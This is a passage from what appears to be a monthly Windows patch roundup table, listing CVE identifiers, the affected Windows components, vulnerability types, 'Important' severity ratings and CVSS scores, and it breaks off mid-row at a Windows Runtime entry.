CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  